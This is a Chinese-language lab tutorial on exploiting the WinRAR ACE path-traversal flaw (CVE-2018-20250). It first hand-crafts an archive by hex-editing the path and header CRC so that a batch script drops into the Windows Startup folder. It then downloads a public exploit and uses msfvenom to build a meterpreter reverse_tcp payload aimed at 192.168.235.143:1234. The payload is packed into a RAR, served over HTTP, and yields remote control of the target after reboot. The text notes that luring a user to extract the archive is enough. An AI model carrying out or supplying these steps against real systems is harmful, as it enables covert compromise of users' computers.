1. 手动构造漏洞
该部分使用一个bat脚本进行弹窗演示,bat脚本会弹出一个“Hello,world!!!”的提示框:
mshta vbscript:msgbox(“Hello,world!!!”,64,”batch script”)(window.close) |
---|
图 构造演示用命令
然后打开【WinAce】,选中刚创建的文件,右键,点击“Add to…”
图 添加到【WinAce】压缩
利用【WinACE】进行压缩,这里选择“store full path”。
图 WinAce压缩选项
生成之后,利用脚本检查一下生成的文件【1.ace】的【header】信息:
python acefile.py --headers 1.ace |
---|
可以看到当前的文件头部校验码【hdr_crc】为0xfc29,头部长度【hdr_size】为56:
图 检查WinAce压缩文件完整性
接下来这几个是需要修改的参数。
在【010Edit】工具中打开刚生成的【1.ace】文件,将文件路径替换为启动项路径:
图 原始WinAce文件内容
将保存脚本文件的路径换为开机启动路径,Check point 团队给出的便准攻击向量为:
C:\C:C:…/AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\some_file.exe |
---|
图 修改WinAce文件内容
可以看到新的完整的文件路径长度为77,转换为16进制后为:4Dh。
图 查看新WinAce文件内容长度值
修改如下位置长度值,将原来的19h改为4Dh:
图 覆盖修改WinAce文件内容长度值
接着还需要修改【hdr_size】,先查看长度偏移值,可以看到当前的长度偏移值为108,转换成16进制后为6Ch:
图 查看新WinAce文件头部长度值
之后在以下位置修改该值:
图 覆盖修改【WinAce】文件头部长度值
点击保存。最后利用【acefile.py】重新查看文件【header】信息。修改【acefile.py】,在3061行处添加以下语句,输出文件【hdr_crc】。
图 修改【acefile.py】代码
可以看到当前的【current_hdr_crc】为:0xfc29,我们要把它改为【right_hdr_crc:0x9d6a】。
图 生成新Ace文件校验和
修改【crc】值到如下位置:
图 覆盖修改新WinAce文件校验和
保存之后重新查看文件【header】信息。
图 检查新【WinAce】文件完整性
修改完成,将文件另存为【1.rar】,选择【文件】->【另存为】,命名为【1.rar】:
图 将文件另存为【1.rar】
此时在桌面上选择刚刚生成的【1.rar】解压到当前文件夹或解压到文件夹1(E)都可以:
图 解压【1.rar】到当前文件夹
可以看到【bat】文件成功解压到开机启动项里。
图6-90 解压【WinAce】文件立即释放脚本成功
2 自动生成漏洞利用脚本
利用MSF,首先下载EXP:
wget https://github.com/WyAtu/CVE-2018-20250/archive/master.zip
解压到指定目录下:
图 【Exp】文件目录
然后利用MSF生成一个恶意程序,放到该目录下:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.235.143 lport=1234 -f exe -o test.exe
图 生成恶意连接文件
修改【exp.py】文件如下:
将【evil_filename】改为生成的恶意程序“test.exe”:
图 修改恶意可执行文件名
将【py -3】改为python3。
图 修改脚本命令
修改完成之后保存,运行以下命令执行exp.py生成可以造成目录穿越的rar文件:
python3 exp.py
图 成功生成漏洞压缩包【test.rar】
成功生成攻击文件【test.rar】,只要诱导下载解压这个压缩文件,就可得到用户电脑权限。远程利用演示如下(可选操作),首先用python开启一个http服务:
python -m SimpleHTTPServer
切换到攻击的目标机器。将【test.rar】下载或复制到目标机器上,并在桌面解压,可以看到文件被自动解压到开机启动项下面。
图 解压恶意文件
接着我们在kali上面开启监听,然后重启目标机器。
图 开启监听
等待目标主机重启完毕,会自动执行【hi.exe】,与攻击主机成功建立连接,拿到目标主机权限。
图 成功建立连接